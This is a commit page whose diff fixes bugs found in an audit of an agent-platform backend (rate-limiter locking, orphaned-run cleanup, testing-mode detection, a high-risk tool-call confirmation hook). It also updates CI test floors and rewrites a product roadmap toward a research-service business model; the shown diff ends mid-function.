Bladeren bron

fix: 2026-06-11 全面审计 — 5 bug 修复 + 改进①②③⑤⑦⑨⑩ (docs/AUDIT_2026-06-11.md)

Bug 修复:
- config.py: is_testing() 单一事实来源 — AGENTPAAS_TESTING=0 曾被
  真值判断当成"测试开启", desktop 启动跳过 bootstrap/内置包/限流;
  测试模式不再加载 ~/.agentpaas/.env 与 providers.json(真实 key 泄入测试)
- compiler.py: ConversationLam 创建失败回退旧 Lam 时打 warning(原静默,
  provider 配错表现为"agent 失忆"难排查)
- 孤儿 run 三层修复(A 层): 错误前缀泛化判 failed

改进:
- ① app.py: _rate_store 滑动窗口加 threading.Lock
- ② 失败判定结构化: Context.provider_errors 通道(extend 共享引用/
  fork+merge_trace 汇回) → ConversationLam ProviderError 时结构化上报 →
  trace_info 透出 → 泛化 [XXX_ERROR] 正则须结构化佐证才判失败,
  LLM 正常输出以错误字样开头不再误判; conversation.py 同时含
  max_input_chars=200000 硬上限(CJK token chars//4 低估致 dashscope 超限)
- ③ SEC-12/30 闭环: engine/confirmations.py 确认登记处(Event 阻塞等待,
  5min 超时拒绝 fail-closed) + _confirm_callback 注入 + confirm_required
  SSE 事件 + traces.py GET/POST /{run_id}/confirm 真实实现(原 placeholder)
- ⑤ cost_grade.py: estimate_cost 认 ConversationLam(原零成本,
  pipeline stage 主 agent 算 0)
- ⑦ errors.py .dict()→model_dump(); app.py on_event→lifespan
- ⑨ CI: 补跑 lambdagent/tests/(566 测试此前不在 CI) + collected 数下限
  (tests/≥240, lambdagent≥540) 防测试静默蒸发
- ⑩ FIX-10 修复: _depth 形参从未在递归点传递(死代码) → thread-local
  编译栈报完整 A→B→C 链路 + 运行期懒编译子智能体在飞栈环检测
- test_paas_services.py: persona 断言改 🐂(release-v1 起源码即 🐂)

docs: AUDIT_2026-06-05/11、AGENTOS_POSITIONING、ROADMAP 更新

回归: tests/ 255 passed + lambdagent/tests/ 566 passed + webui tsc/build 0 错

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
kenny67nju 3 maanden geleden
bovenliggende
commit
5a9d3fd04b

+ 15 - 2
.github/workflows/ci.yml

@@ -48,8 +48,21 @@ jobs:
           # used by tests/test_api_endpoints.py (audit critical #6 coverage).
           pip install -e "agentpaas/[dev]"
           pip install pytest pytest-asyncio
-      - name: Run tests
-        run: python -m pytest tests/ -v --tb=short
+      # AUDIT_2026-06-11 ⑨: collected 数下限 — 防止依赖缺失/收集错误让
+      # 测试"静默蒸发"还绿灯(本地曾因缺 pytest-asyncio 8 个鉴权测试没在跑)。
+      # 新增测试只会让数字涨,阈值取当前数的约 95% 留余量。
+      - name: Run platform tests (tests/)
+        run: |
+          N=$(python -m pytest tests/ --collect-only -q 2>/dev/null | grep -Eo '[0-9]+ tests? collected' | grep -Eo '^[0-9]+' || echo 0)
+          echo "tests/ collected: $N"
+          test "$N" -ge 240 || { echo "::error::tests/ collected only $N (< 240) — did tests silently vanish?"; exit 1; }
+          python -m pytest tests/ -v --tb=short
+      - name: Run lambdagent core tests (lambdagent/tests/)
+        run: |
+          N=$(python -m pytest lambdagent/tests/ --collect-only -q 2>/dev/null | grep -Eo '[0-9]+ tests? collected' | grep -Eo '^[0-9]+' || echo 0)
+          echo "lambdagent/tests/ collected: $N"
+          test "$N" -ge 540 || { echo "::error::lambdagent/tests/ collected only $N (< 540) — did tests silently vanish?"; exit 1; }
+          python -m pytest lambdagent/tests/ --tb=short
       - name: Lint module loads
         run: python -c "from lambdagent.fromconfig import lint_config; print('Lint module OK')"
 

+ 81 - 30
ROADMAP.md

@@ -2,37 +2,47 @@
 
 ## North star
 
-**ResearchAgent Desktop** — 一个本地运行的专业 AI 工作台,让教授、博士、医学研究人员把私有论文 / 笔记 / 指南导入后,用专业智能体完成论文审稿、文献综述、基金写作、病例报告等可追溯任务
+**ResearchAgent Service** — 一家 AI-native research service company:用本地 Desktop 获取资料信任,用 AgentPack 自动化科研服务流程,用专家 QA 控制方差,向教授、博士、课题组交付可追溯的论文预审、文献地图、基金打磨等结果
 
 战略路径([`docs/requirements-change-personal-desktop.md`](docs/requirements-change-personal-desktop.md)):
 
 ```
-desktop  → 单机科研助手 + agent pack 生态     (M0-M3, 4 个月)
+service  → 论文预审 / 文献地图 / 基金打磨三类结果型 SKU  (M0-M3, pilot)
+   ↑
+desktop  → 本地资料入口 + 报告交付界面 + 隐私信任层        (M0-M3, 已在建)
    ↓ 同一份代码,改一行 config
-lab      → 课题组/科室团队版 (1 tenant, N user) (M5+, 商业验证后)
+retainer → 课题组月度服务 + Desktop Pro / Lab 承接自助需求  (M4-M5, 付费验证)
    ↓ 同一份代码,改一行 config
-paas     → 云端/私有化 (N tenant)             (v2+, 已有完整能力)
+paas     → 私有化 / 多租户平台化                             (v2+, 服务跑通后)
 ```
 
+核心商业假设:
+
+- 客户不为 "一个 AI 工具" 付高价,客户为 **可交付科研结果** 付费。
+- Desktop 是入口,不是收入上限;AgentPack 是生产线,不是 marketplace 起点。
+- 专家 QA、SOP、COGS、返工率和低方差交付,是比下载量更重要的早期指标。
+
 ## 现状(截至 2026-06-07)
 
 - `v1.1.0-rc1` 已发布,CI 全绿,**189 测试**通过 Python 3.10/3.11/3.12
 - audit 84 finding 关闭 28 个(critical 7/7、high 22/33)
-- 仓库 private,PaaS 叙事完整
+- 仓库 private,PaaS / Desktop / AgentPack 软件叙事完整;商业叙事已切换为 **AI-native research service**
 - CR rev.2 + 12 个开放问题决策已 commit
 - **M1 完成**:`deployment_mode` 三档落地(desktop 默认),webui mode-aware,
   FR-001 一键登录 + FR-002 数据目录,dogfood 三档 UI 验收通过
 - **M2 完成**:AgentPack format(manifest + 安装 + 权限)+ 3 个内置科研 pack
   (reviewer / literature-mapper / grant-planner)+ citation-aware ingestion
   (PDF 页码 + Obsidian + `[Source N | file p.12]`)
-- **下一步 = M0 的 3 个非软件项**(Apple Developer / Windows EV / alpha 用户)
-  + **M2 收尾集成**(agentpack 接入 KB 管线带页码 + dogfood)+ **M3**(macOS installer)
+- **下一步 = M0 的 3 个非软件项**(Apple Developer / Windows EV / 服务 pilot 客户)
+  + **M2 收尾集成**(agentpack 接入 KB 管线带页码 + dogfood)
+  + **服务生产线**(三类 SKU、QA checklist、COGS tracker、样例报告)
+  + **M3**(macOS installer + 3-5 个结果型服务 pilot)
 
 ---
 
 ## Now (本周 — 2026-06-07 至 2026-06-14)
 
-**主题**: M0 产品收敛 + 解锁 Apple Developer / Windows EV 长流程
+**主题**: M0 服务收敛 + 解锁 Apple Developer / Windows EV 长流程
 
 | 任务 | Owner | 验收 | 状态 |
 |---|---|---|---|
@@ -41,10 +51,13 @@ paas     → 云端/私有化 (N tenant)             (v2+, 已有完整能力)
 | spike: `deployment_mode` flag 200 LOC 估算 | Claude | 88bdddb: 143 LOC + 11 test; 132 老 test 全绿 ✓ | ✅ 完成 |
 | 申请 Apple Developer 账号 ($99/年) | Kenny | 收到 Apple ID 启用确认邮件 | 🔲 待办 (M0) |
 | 启动 Windows EV 代码签名证书申请(需 ≥3 个月) | Kenny | DigiCert/Sectigo 申请单提交 | 🔲 待办 (M0) |
-| 决定第一批 alpha 用户名单(3-5 位教授/博士) | Kenny | 名单 + 试用承诺 | 🔲 待办 (M0) |
+| 决定第一批服务 pilot 客户名单(3-5 位教授/博士/PI) | Kenny | 名单 + 真实论文/方向/基金材料 + 反馈承诺 | 🔲 待办 (M0) |
+| 定义 3 个结果型 SKU 与报价 | Kenny | 论文预审 / 文献地图 / 基金打磨的交付物、SLA、价格假设 | 🔲 待办 (M0) |
+| 建立服务 QA checklist + COGS tracker | Kenny | 预审报告 QA 表、人工分钟数/模型成本/返工原因表格 | 🔲 待办 (M0) |
+| 准备 1 份样例服务报告 | Kenny | 可公开脱敏的 Top Journal Readiness Report 样例 | 🔲 待办 (M0) |
 
-> **M0 备注**: 软件侧(spike)已完成并直接滚入 M1。剩 3 项是账号/证书/
-> 人脉,需 Kenny 手动推进,不阻塞 M1 代码工作。
+> **M0 备注**: 软件侧(spike)已完成并直接滚入 M1。当前阻塞不在代码,
+> 而在账号/证书、人脉、服务 SKU、QA/SOP/COGS 这四类商业化准备
 
 ---
 
@@ -137,10 +150,15 @@ FR-001 + dogfood 修复),新增 24 个 test(132 → 156 root tests)。
 - [x] `scripts/dogfood_agentpack.py`:手动 E2E 脚本(需运行 server + API key)
 - [x] 全套 189 passed,1 skipped(LLM run,设计如此)
 
-### 仍待做(M2 范围外的同期任务,需 Kenny / 真实用户)
+### 仍待做(M2 软件范围外的同期任务,需 Kenny / 真实用户)
 
-- [ ] alpha 用户访谈(3-5 位),录三个真实 use case 视频
-- [ ] 内部 dogfood: Kenny 用 ResearchAgent Desktop 完成一篇真实论文审稿(运行 `scripts/dogfood_agentpack.py --verbose`)
+- [ ] 服务 pilot 访谈(3-5 位),锁定真实论文 / 研究方向 / 基金材料
+- [ ] 内部 dogfood: Kenny 用 ResearchAgent Service 完成一篇真实论文预审,交付 `Top Journal Readiness Report`
+- [ ] 对 dogfood 记录 COGS: 模型成本、人工 QA 分钟数、总 cycle time、返工原因
+- [ ] 形成 3 个服务 SKU 的 SOP:
+  - `paper-readiness-review`
+  - `literature-map`
+  - `grant-polish`
 - [ ] agentpack 接入 agentpaas KB index 管线(让 KBSearch 结果带页码)
 - [ ] permission 运行时 tool-registry 完整 gating
 
@@ -148,7 +166,7 @@ FR-001 + dogfood 修复),新增 24 个 test(132 → 156 root tests)。
 
 ## M3 (4 个月内 — 至 2026-10-07)
 
-**主题**: macOS Beta 可下载 + 10-20 位真实用户内测
+**主题**: macOS Beta 可下载 + 3-5 个结果型服务 pilot
 
 ### Phase G — macOS Installer(≈3-6 周)
 
@@ -158,7 +176,7 @@ FR-001 + dogfood 修复),新增 24 个 test(132 → 156 root tests)。
 - [ ] .dmg 安装包: 拖到 Applications 即装
 - [ ] 自动更新: 检测 GitHub Releases latest,提示用户
 
-### 用户验证(CR §十二 成功指标)
+### 用户验证(Desktop 入口指标)
 
 | 指标 | M3 目标 |
 |---|---|
@@ -169,11 +187,26 @@ FR-001 + dogfood 修复),新增 24 个 test(132 → 156 root tests)。
 | 真实试用用户 | 10-20 人 |
 | 一周后再次使用 | > 40% |
 
+### 服务验证(AI-native service 指标)
+
+| 指标 | M3 目标 |
+|---|---|
+| 结果型服务 pilot | 3-5 单 |
+| 首批服务 SKU | 论文预审 / 文献地图 / 基金打磨 |
+| 论文预审交付时长 | 24-48 小时 |
+| 专家 QA 时间 | 30-60 分钟 / 单 |
+| 每单 COGS 记录率 | 100% |
+| 客户愿意付费/复购反馈 | 至少 2 个明确 yes |
+| 返工原因记录 | 100% |
+
 ### Release 动作
 
 - [ ] tag `v1.1.0-beta1`
 - [ ] GitHub Release(prerelease)含 .dmg / .zip
 - [ ] 写 `docs/USER_GUIDE.md` 面向非技术用户(教授友好语言)
+- [ ] 写 `docs/SERVICE_SKU.md`:三类结果型服务、样例交付物、SLA、报价假设
+- [ ] 写 `docs/SAMPLE_REPORTS/`:至少 1 份脱敏论文预审样例报告
+- [ ] 官网/下载页增加 "提交服务 pilot" 入口,而不是只追求下载量
 
 ---
 
@@ -186,14 +219,26 @@ FR-001 + dogfood 修复),新增 24 个 test(132 → 156 root tests)。
 - [ ] Microsoft Store 评估(独立工作流)
 - [ ] 与 macOS Beta 同步功能矩阵,跑同样的成功率指标
 
-### M5 — License + Pro 版(≈3-4 周)
-
-- [ ] License key 验证(推荐用 Paddle / Lemonsqueezy 第三方,不自建支付)
-- [ ] Free / Pro 功能门控
+### M5 — Outcome Pricing + Retainer + Desktop Pro(≈3-4 周)
+
+- [ ] 结果型服务报价验证
+  - 论文预审: 499-1999 RMB / 篇
+  - 文献地图: 1999-9999 RMB / 方向
+  - 基金打磨: 3000-20000 RMB / 项
+- [ ] 课题组 Retainer 报价验证
+  - 每月 N 份论文预审 / 文献地图 / 基金打磨
+  - 加急通道 + 专家 QA + Desktop 资料入口
+  - 3000-20000 RMB / 月价格带访谈
+- [ ] 每单 COGS dashboard
+  - 模型成本
+  - 专家 QA 分钟数
+  - 交付/沟通分钟数
+  - 返工率
+  - gross margin
+- [ ] Desktop Pro 作为辅助入口,而非收入上限
   - Free: 1 个 agent pack, 知识库 100 文件, Markdown 报告
   - Pro: 全部 agent pack, 无限制知识库, 批量审稿, PDF/DOCX 导出
-- [ ] 定价试验: 49 RMB / 月 vs 199 RMB / 月 vs $9 / $29 USD(CR §十二)
-- [ ] 首批 5-10 位 Pro 付费用户跟踪
+- [ ] 首批 5-10 位付费客户跟踪(按服务单 / Retainer,而不是只按 Pro 订阅)
 
 ---
 
@@ -201,11 +246,11 @@ FR-001 + dogfood 修复),新增 24 个 test(132 → 156 root tests)。
 
 不在 v1.x scope, 但已经在 CR 里 mark 为路径终点的:
 
-- **Lab 版正式商用** — `deployment_mode=lab` UI/营销已就绪,等 Pro 用户里出现 "我们课题组想团购" 信号触发
+- **Service Retainer → Lab** — `deployment_mode=lab` UI/营销已就绪;等 3-5 个课题组愿意持续购买结果型服务后,再把 Lab 版作为团队入口交付
 - **Zotero 集成** — Q7 推迟到这里
 - **医学场景重启** — Q5 推迟到这里,配合医院法务一起立项 ResearchAgent Medical
-- **Agent Pack Registry 自建** — 等 GitHub Releases 路径覆盖不够时再做
-- **私有化部署 / paas mode 商业化** — 等 Lab 有 ≥5 个课题组实际跑通后
+- **Agent Pack Registry 自建** — 等 AgentPack 在内部服务生产中稳定、且自助需求明确后再做
+- **私有化部署 / paas mode 商业化** — 等 Lab/Retainer 有 ≥5 个课题组实际跑通后
 
 ---
 
@@ -217,7 +262,10 @@ FR-001 + dogfood 修复),新增 24 个 test(132 → 156 root tests)。
 - 医疗诊断 / 处方 / 治疗决策(永远不做,CR FR-013)
 - App Store / Microsoft Store 首发(M5+ 看情况)
 - 团队协作 + 组织级权限(v1.x 不做)
-- Agent Pack marketplace 交易系统(v1.x 不做)
+- Agent Pack marketplace 交易系统(v1.x 不做;AgentPack 先用于内部服务生产)
+- 大规模下载量 / DAU 增长(v1.x 不追;服务 pilot 和付费意愿优先)
+- 纯软件订阅作为主收入(Desktop Pro 是入口和辅助,不是商业化上限)
+- 偏离三类 SKU 的定制外包(论文预审 / 文献地图 / 基金打磨之外的杂活不接)
 - 面向普通大众的聊天助手(不做,定位偏离)
 - 通用 Agent 编排 SDK 作为主产品(lambdagent 仍开源但不再是产品门面)
 
@@ -230,8 +278,11 @@ FR-001 + dogfood 修复),新增 24 个 test(132 → 156 root tests)。
 | Apple Developer 账号审核 > 2 周 | 中 | M3 阻塞 | 立刻申请,准备备用账号 |
 | Windows EV 证书 > 3 个月到货 | 高 | M4 阻塞但不阻塞 M3 | 提前 M0 当天申请 |
 | PDF 引用追踪准确率 < 80% | 中 | M3 验收指标失守 | Phase E 期间用 5 篇 SOTA 论文跑 ground truth |
-| Alpha 用户找不齐 3-5 位 | 中 | M3 反馈不足 | M0 期间通过个人网络锁定 |
-| `deployment_mode` flag 改动 break 现有 132 test | 低 | M1 阻塞 | spike 阶段就跑全套 test 验证 |
+| 服务 pilot 客户找不齐 3-5 位 | 中 | M3 服务验证不足 | M0 期间通过个人网络锁定,并要求真实材料 + 反馈承诺 |
+| 服务质量方差过高 | 中 | 客户不信任,无法复购 | 每单专家 QA + QA checklist + 返工原因记录,回灌 AgentPack |
+| COGS 过高 / 毛利不成立 | 中 | AI-native service 经济模型失败 | 每单记录模型成本、专家分钟数、交付分钟数;优先优化高频 SKU |
+| 专家 QA 供给不足 | 中 | throughput 上不去 | 从兼职领域顾问开始,目标让专家只复核关键判断而非从零写报告 |
+| `deployment_mode` flag 改动 break 现有 189 test | 低 | M1/M2 回归 | mode-transition smoke + 全套测试持续跑 |
 | 医学场景外部压力(用户主动要) | 中 | 偏离 roadmap | 坚持 Q5 决策,给出 "不做" rationale |
 | BUSL ≤10 user 与 Lab 多设备认定冲突 | 低 | 法律风险 | Lab 版上线前请律师 review 一次 BUSL 文本 |
 
@@ -246,9 +297,9 @@ FR-001 + dogfood 修复),新增 24 个 test(132 → 156 root tests)。
   - **Desktop 模式下仍需要修**(10 个): #11 #13 并发 race, #22 #23 webui 稳定性, #17 pickle RCE, #16 qaagent67lambda 硬编码路径
   - **只在 lab/paas 模式生效**(46 个): tenant scoping 加固类、多用户 admin 类、RBAC 细化类、SPEC 漂移类。这些在 M1 完成后自动复用,**不需要重新修**。
 
-**Desktop 优先级 + 多租户保留** 这条战略选择,让 audit 修过的工作成为 lab/paas 升级时的 free win,不需要为 desktop 单独再修一遍
+**Service-first + Desktop 优先级 + 多租户保留** 这条战略选择,让 audit 修过的工作成为 lab/paas 升级时的 free win;同时把 v1.x 的商业验证从 "卖软件" 调整为 "卖可追溯科研结果"
 
 ---
 
 最后更新: 2026-06-07
-本 roadmap 与 [`docs/requirements-change-personal-desktop.md`](docs/requirements-change-personal-desktop.md) 同步。需求决策记录见 CR §十三。
+本 roadmap 与 [`docs/requirements-change-personal-desktop.md`](docs/requirements-change-personal-desktop.md) 和 `01-Research/Agent/LambdAgent Desktop 商业计划书.md` 同步。需求决策记录见 CR §十三;商业叙事以 AI-native research service company 为准

+ 67 - 15
agentpaas/src/agentpaas/api/app.py

@@ -3,6 +3,7 @@ agentpaas.api.app — FastAPI application entry point.
 """
 from __future__ import annotations
 import os
+import threading
 import time
 from typing import Dict
 from collections import defaultdict
@@ -15,12 +16,23 @@ from agentpaas.config import settings
 from agentpaas.api.v1 import agents, auth, admin, billing, traces, jobs, discovery, metrics, status, analyze, setup as setup_router, providers_api, templates_api, knowledge as knowledge_router, agentpacks
 from agentpaas.observability.logging import logger
 
+# 改进⑦ (AUDIT_2026-06-11): on_event("startup") 在 FastAPI 中已弃用,
+# 改用 lifespan。_on_startup 定义在文件后部(路由注册之后),这里通过
+# 模块级引用延迟解析。
+from contextlib import asynccontextmanager
+
+@asynccontextmanager
+async def _lifespan(_app: FastAPI):
+    await _on_startup()
+    yield
+
 app = FastAPI(
     title="AgentPaaS",
     description="Agent Platform as a Service — powered by lambdagent",
     version="0.1.0",
     docs_url="/docs",
     redoc_url="/redoc",
+    lifespan=_lifespan,
 )
 
 # SEC-02: CORS whitelist — includes Vite dev server (5173) by default for local use
@@ -38,6 +50,9 @@ app.add_middleware(
 
 # SEC-06: Rate limiting middleware
 _rate_store: Dict[str, list] = defaultdict(list)
+# 改进① (AUDIT_2026-06-11): 多 worker 线程并发读写 _rate_store 的
+# 清理/检查/追加三步不是原子的 —— 加锁保证滑动窗口计数准确。
+_rate_lock = threading.Lock()
 
 @app.middleware("http")
 async def rate_limit(request: Request, call_next):
@@ -62,7 +77,8 @@ async def rate_limit(request: Request, call_next):
     # exempts test runs without weakening the production posture (which
     # is the whole point of audit #25 — to defend the public surface,
     # not the integration harness).
-    if os.getenv("AGENTPAAS_TESTING"):
+    from agentpaas.config import is_testing
+    if is_testing():
         return await call_next(request)
 
     # Safety-critical: a run-cancel POST must NEVER be rate-limited. We hit
@@ -91,18 +107,19 @@ async def rate_limit(request: Request, call_next):
     now = _time.time()
     window = 60  # 1 minute window
 
-    # Clean old entries
-    _rate_store[rate_key] = [t for t in _rate_store[rate_key] if now - t < window]
+    with _rate_lock:
+        # Clean old entries
+        _rate_store[rate_key] = [t for t in _rate_store[rate_key] if now - t < window]
 
-    if len(_rate_store[rate_key]) >= max_requests:
-        from fastapi.responses import JSONResponse
-        return JSONResponse(
-            status_code=429,
-            content={"error": {"code": "RATE_LIMITED", "message": f"Rate limit exceeded ({max_requests}/min)"}},
-            headers={"Retry-After": "60"},
-        )
+        if len(_rate_store[rate_key]) >= max_requests:
+            from fastapi.responses import JSONResponse
+            return JSONResponse(
+                status_code=429,
+                content={"error": {"code": "RATE_LIMITED", "message": f"Rate limit exceeded ({max_requests}/min)"}},
+                headers={"Retry-After": "60"},
+            )
 
-    _rate_store[rate_key].append(now)
+        _rate_store[rate_key].append(now)
     return await call_next(request)
 
 # SEC-10: HTTPS enforcement in production
@@ -204,16 +221,39 @@ app.include_router(knowledge_router.router, prefix="/api/v1")
 app.include_router(agentpacks.router, prefix="/api/v1")
 
 
-@app.on_event("startup")
 async def _on_startup():
-    """Start background services on server startup."""
+    """Start background services on server startup (called by _lifespan)."""
     # Eagerly construct the singleton Database so the zombie-reaper migration
     # (Database.__init__) runs NOW instead of on the first authenticated
     # request. Otherwise a 'running' kb_job from a prior crashed backend
     # keeps showing as in-flight in the UI until someone happens to hit a
     # DB-touching endpoint.
     from agentpaas.db.session import get_db
-    get_db()
+    _db = get_db()
+
+    # Reap orphaned 'running' runs left by a prior crashed/restarted backend.
+    # In-process (stream) runs do not survive a process restart, so any row
+    # still marked 'running' at startup is dead — finalize it so the UI stops
+    # showing an eternal spinner. cancelled if the user had pressed Stop, else
+    # failed. Mirrors the kb_jobs zombie-reaper already in Database.__init__.
+    try:
+        import json as _json
+        from agentpaas.db.models import now_utc as _now
+        _n = _db.execute(
+            "UPDATE runs SET "
+            "status = CASE WHEN cancel_requested = 1 THEN 'cancelled' ELSE 'failed' END, "
+            "error = COALESCE(error, ?), completed_at = ? "
+            "WHERE status = 'running'",
+            (_json.dumps({"code": "ORPHANED",
+                          "message": "backend restarted while run was in-flight"}),
+             _now()),
+        ).rowcount
+        _db.commit()
+        if _n:
+            logger.info(f"reaped {_n} orphaned 'running' run(s) at startup")
+    except Exception as e:  # pragma: no cover (startup hook must not crash)
+        logger.warning(f"run orphan reaper skipped: {e}")
+
     knowledge_router._start_schedule_checker()
 
     # Desktop mode auto-bootstrap (CR-20260607-001 rev.2, Q11).
@@ -227,13 +267,25 @@ async def _on_startup():
     # every TestClient(app) invocation. Tests that want to exercise the
     # bootstrap path call `auto_bootstrap_desktop()` explicitly (with
     # CONFIG_FILE patched to a tmp path).
-    if settings.deployment_mode == "desktop" and not os.getenv("AGENTPAAS_TESTING"):
+    from agentpaas.config import is_testing as _is_testing
+    # 注意:用 is_testing() 而非 os.getenv 真值判断——AGENTPAAS_TESTING=0
+    # 曾被当成"测试模式开启",导致 desktop 启动跳过 bootstrap 和内置包安装。
+    if settings.deployment_mode == "desktop" and not _is_testing():
         try:
             from agentpaas.api.v1.setup import auto_bootstrap_desktop
             auto_bootstrap_desktop()
         except Exception as e:  # pragma: no cover (startup hook must not crash)
             logger.warning(f"desktop auto-bootstrap skipped: {e}")
 
+        # Auto-install built-in AgentPacks (idempotent — skips already-installed).
+        # Runs after bootstrap so agentpacks_dir is guaranteed to resolve
+        # correctly (data_dir is locked in by this point).
+        try:
+            from agentpaas.engine.builtin_packs import ensure_builtin_packs_installed
+            ensure_builtin_packs_installed(settings.agentpacks_dir)
+        except Exception as e:  # pragma: no cover (startup hook must not crash)
+            logger.warning(f"builtin pack auto-install skipped: {e}")
+
 
 @app.get("/health")
 async def health():

+ 1 - 1
agentpaas/src/agentpaas/api/errors.py

@@ -22,4 +22,4 @@ def api_error(status: int, code: str, message: str, details: dict = None) -> HTT
         request_id=str(uuid.uuid4())[:8],
         details=details,
     )
-    raise HTTPException(status_code=status, detail=body.dict())
+    raise HTTPException(status_code=status, detail=body.model_dump())

+ 155 - 3
agentpaas/src/agentpaas/api/v1/agents.py

@@ -204,6 +204,88 @@ async def get_agent(
     return agent
 
 
+@router.get("/{agent_id}/subagents/{sub_name}/config")
+async def get_subagent_config(
+    agent_id: str,
+    sub_name: str,
+    tenant: TenantContext = Depends(get_tenant),
+    db: Database = Depends(get_database),
+):
+    """Return the raw config file contents of a sub-agent (multi-agent orchestrator).
+
+    The orchestrator's config has a `subAgents` map of
+    `{name: {tool, config: ./relative/path.yml}}`. We resolve the relative path
+    against the orchestrator's `_config_dir` and return the file text so the Web
+    UI can display it. Path traversal is blocked — the resolved file must live
+    under `_config_dir`.
+    """
+    import os
+
+    agent = db.fetchone(
+        "SELECT * FROM agents WHERE id = ? AND tenant_id = ? AND status = 'active'",
+        (agent_id, tenant.tenant_id),
+    )
+    if not agent:
+        api_error(404, "AGENT_NOT_FOUND", f"Agent {agent_id} not found")
+
+    version = db.fetchone(
+        "SELECT * FROM agent_versions WHERE agent_id = ? AND version = ?",
+        (agent_id, agent["current_version"]),
+    )
+    cfg = json.loads(version["config"]) if version else {}
+    sub_agents = cfg.get("subAgents") or cfg.get("sub_agents") or {}
+
+    entry = sub_agents.get(sub_name)
+    if entry is None:
+        api_error(404, "SUBAGENT_NOT_FOUND", f"Sub-agent '{sub_name}' not found")
+
+    # An entry may be an inline definition (no file) or a file reference.
+    if not isinstance(entry, dict) or not entry.get("config"):
+        # Inline sub-agent — return the definition itself as YAML-ish JSON.
+        import yaml  # local import; PyYAML is a project dependency
+        return {
+            "agent_id": agent_id,
+            "sub_name": sub_name,
+            "path": None,
+            "inline": True,
+            "content": yaml.safe_dump(entry, allow_unicode=True, sort_keys=False),
+        }
+
+    rel_path = entry["config"]
+    config_dir = cfg.get("_config_dir") or agent.get("source_dir") or agent.get("agent_dir") or ""
+    if not config_dir or not os.path.isdir(config_dir):
+        api_error(
+            404, "CONFIG_DIR_MISSING",
+            "Orchestrator config directory is unknown on this machine; "
+            "cannot resolve the sub-agent file.",
+        )
+
+    base = os.path.realpath(config_dir)
+    target = os.path.realpath(os.path.join(base, rel_path))
+
+    # Block path traversal: the resolved file must stay under config_dir.
+    if os.path.commonpath([base, target]) != base:
+        api_error(400, "INVALID_PATH", "Sub-agent path escapes the config directory.")
+    if not os.path.isfile(target):
+        api_error(404, "FILE_NOT_FOUND", f"Sub-agent file not found: {rel_path}")
+
+    try:
+        with open(target, "r", encoding="utf-8") as f:
+            content = f.read()
+    except OSError as e:
+        api_error(500, "READ_FAILED", f"Could not read sub-agent file: {e}")
+
+    return {
+        "agent_id": agent_id,
+        "sub_name": sub_name,
+        "tool": entry.get("tool", f"call_{sub_name}"),
+        "path": target,
+        "rel_path": rel_path,
+        "inline": False,
+        "content": content,
+    }
+
+
 @router.put("/{agent_id}")
 async def update_agent(
     agent_id: str,
@@ -784,8 +866,20 @@ async def run_agent_stream(
                     "all sub-agents failed", "all calls failed",
                     "unable to complete",
                 )
+                # AUDIT_2026-06-11 ②: 结构化优先。lambdagent Context 现在在
+                # provider 抛错时记录结构化事件(trace_info["provider_errors"]),
+                # 泛化的 [XXX_ERROR]/[XXX_TIMEOUT] 前缀正则只在有结构化佐证时
+                # 才判失败 —— 否则 LLM 正常输出恰好以这类字样开头会被误判。
+                # [MCP_*] 是工具网关的纯文本通道(无结构化事件),单独保留。
+                import re as _re_err
+                _lead = final.lstrip()
+                _structured_provider_failure = bool(trace_info.get("provider_errors"))
+                _generic_err_prefix = bool(
+                    _re_err.match(r"\[[A-Z0-9_\-]*(?:ERROR|TIMEOUT)\]", _lead))
                 output_is_error = (
-                    any(final.lstrip().startswith(p) for p in _ERROR_PREFIXES)
+                    any(_lead.startswith(p) for p in _ERROR_PREFIXES)
+                    or (_generic_err_prefix and _structured_provider_failure)
+                    or bool(_re_err.match(r"\[MCP_[A-Z0-9_\-]*(?:ERROR|TIMEOUT)", _lead))
                     or any(kw in final for kw in _FAILURE_KEYWORDS)
                 )
                 # Scan trace entries for evidence of any successful tool
@@ -894,12 +988,46 @@ async def run_agent_stream(
                 event_queue.put({"event": "done", "data": {"run_id": run_id, "status": "failed"}})
             finally:
                 _cancel.end_run(run_id)
+                # Safety net: a stream run must never be left as 'running' once
+                # the worker thread exits (client disconnect, exception inside an
+                # except handler, etc.). If still 'running', force a terminal
+                # status — cancelled if the user requested stop, else failed.
+                try:
+                    cur_row = db.fetchone(
+                        "SELECT status, cancel_requested FROM runs WHERE id=?", (run_id,)
+                    )
+                    if cur_row and cur_row.get("status") == "running":
+                        term = "cancelled" if cur_row.get("cancel_requested") else "failed"
+                        db.execute(
+                            "UPDATE runs SET status=?, error=COALESCE(error, ?), "
+                            "duration_ms=?, completed_at=? WHERE id=? AND status='running'",
+                            (term,
+                             json.dumps({"code": "ORPHANED",
+                                         "message": "stream worker exited without finalizing run status"}),
+                             int((time.time() - t0) * 1000), now_utc(), run_id),
+                        )
+                        db.commit()
+                        event_queue.put({"event": "done",
+                                         "data": {"run_id": run_id, "status": term}})
+                except Exception:
+                    pass
             event_queue.put(None)  # sentinel
 
         threading.Thread(target=_run, daemon=True).start()
 
         while True:
-            item = event_queue.get()
+            try:
+                # Use a timeout so we can send SSE heartbeat comments while
+                # waiting.  Without this, the generator blocks silently for
+                # 13+ seconds between LLM calls; proxies and browsers see the
+                # connection as dead and close it → "Failed to fetch" on the
+                # client even though the backend is still running fine.
+                # SSE comment lines (": …") are ignored by EventSource /
+                # fetch readers but keep the TCP connection alive.
+                item = event_queue.get(timeout=15)
+            except queue.Empty:
+                yield ": heartbeat\n\n"
+                continue
             if item is None:
                 break
             evt_type = item.get("event", "message")
@@ -907,7 +1035,9 @@ async def run_agent_stream(
             yield f"event: {evt_type}\ndata: {data}\n\n"
 
     return StreamingResponse(generate(), media_type="text/event-stream",
-                             headers={"Cache-Control": "no-cache", "X-Accel-Buffering": "no"})
+                             headers={"Cache-Control": "no-cache",
+                                      "X-Accel-Buffering": "no",
+                                      "Connection": "keep-alive"})
 
 
 # ── Agent Versions ──
@@ -1615,6 +1745,24 @@ def _execute_agent(config: dict, input_text: str, on_step=None,
                 })
             overrides["on_chunk"] = _chunk_adapter
 
+        # AUDIT_2026-06-11 ③: SEC-12/30 闭环 — HIGH-risk 工具调用确认。
+        # ToolGateway 产生 Action.CONFIRM 时回调到这里:先推一个
+        # confirm_required 事件给前端(流式 run 可见),然后阻塞等待
+        # POST /traces/{run_id}/confirm,超时按拒绝处理(fail-closed)。
+        if run_id:
+            from agentpaas.engine.confirmations import request_confirmation
+
+            def _confirm_cb(_tool, _input, _reason):
+                if on_step:
+                    on_step({
+                        "event": "confirm_required",
